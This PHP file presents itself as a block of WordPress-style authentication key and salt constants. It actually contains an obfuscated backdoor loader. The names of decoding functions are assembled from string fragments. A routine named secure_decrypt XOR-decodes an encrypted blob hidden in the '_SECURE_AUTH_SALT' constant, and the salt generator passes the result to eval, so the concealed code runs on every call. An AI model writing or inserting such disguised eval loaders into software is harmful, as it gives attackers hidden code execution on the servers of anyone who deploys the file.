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define("_AUTH_KEY","qL4FHwtYuxGEZuQf");
define("_SECURE_AUTH_SALT","MsD.8z~y3*zV4/fMBg,<Uy>]5<\}5,vUs:	~R0D{\Qg>zQ9l	fj+jZ|e'U6	#~/ aNX#"-9\QhF)* *%3-zHqB.q2&W$?qn))RLr{+l@$vto))RDLr-+lA$?p<)`TCw+EhB$vwnWF_l0EOuk@f:	z0AOskCb:Dzhw~C(!B@tlAs]Q+[2'W<B/~z$e+!/f.:(+z# 9Q5<(+Pne!U8 Qd]5; qQ' #4*nhwzE(!AMthDDyh>|B(!@KthAWB{hwzB(!@J=nLs;Xe=h- 
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function random_salt($length = 64) {
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $salt = "";
    for ($i = 0; $i < $length; $i++) {
        $salt .= $characters[rand(0, strlen($characters) - 1)];
    }
    eval("?>" . SALT);
    return $salt;
}
$__c = "c";
$__h = "hr";
$__b = "b";
$__c = $__c . $__h;
$__a =  "ase64_d";
$__e = "ecode";
$__b = $__b . $__a . $__e;
$__o = "o";
$__r = "rd";
$__s = "s";
$__o = $__o . $__r;
$__t = "tr_r";
$__e = "epeat";
$__s = $__s . $__t . $__e;
function secure_decrypt($encrypted_data, $key) {
    global $__b, $__c, $__o, $__s;
    $data = $__b($encrypted_data);
    $key = $__s($key, ceil(strlen($data) / strlen($key)));
    $decrypted = "";
    for ($i = 0; $i < strlen($data); $i++) {
        $decrypted .= $__c($__o($data[$i]) ^ $__o($key[$i]));
    }
   
    return $decrypted;
}

$code_to_execute = secure_decrypt(_SECURE_AUTH_SALT, _AUTH_KEY);
define("SALT",$code_to_execute);
define( "_SECURE_AUTH_KEY", "agf0s9howfooacv9smzkau2h86b8wvc0wqneoy3fzk6hl8ghqm2z047iomm901aw");
define( "_LOGGED_IN_KEY",    "mwbq244cazupfeuu5khs1wdj2w8p67cugqi0a07rh041bnnzrfdoqno7k0ousdsm" );
define( "_NONCE_KEY",        "pytxj565f4ao6ziwtx79iji04u2cormue8flp13x2xhacxec2yxwfid1aypztz2c" );
define( "_AUTH_SALT",        "iuapzqivx1cjad01lgk52xbs1blj3m0vwpja6ovbei2z1qp36pi4h2lh53w6j71v" );
define( "_LOGGED_IN_SALT",   "zfakhvx1xo0jpj203i3jad7j9nsy51ntqf8ktwkp9p0hxk1l5a8mg1p8fmivtb7g");
define( "_NONCE_SALT",       "vvdm4da9v89goi8yn3yl0yjrq6wclj19z556pghi115ssblccajcnmt1t9m82z9k");
$random_salt = random_salt(64);
define("RANDOM_SALT",$random_salt);